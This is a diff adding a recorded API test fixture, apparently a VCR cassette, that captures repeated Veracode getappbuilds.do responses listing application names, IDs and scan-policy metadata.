+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:25 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:10:33 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:33 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:10:34 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
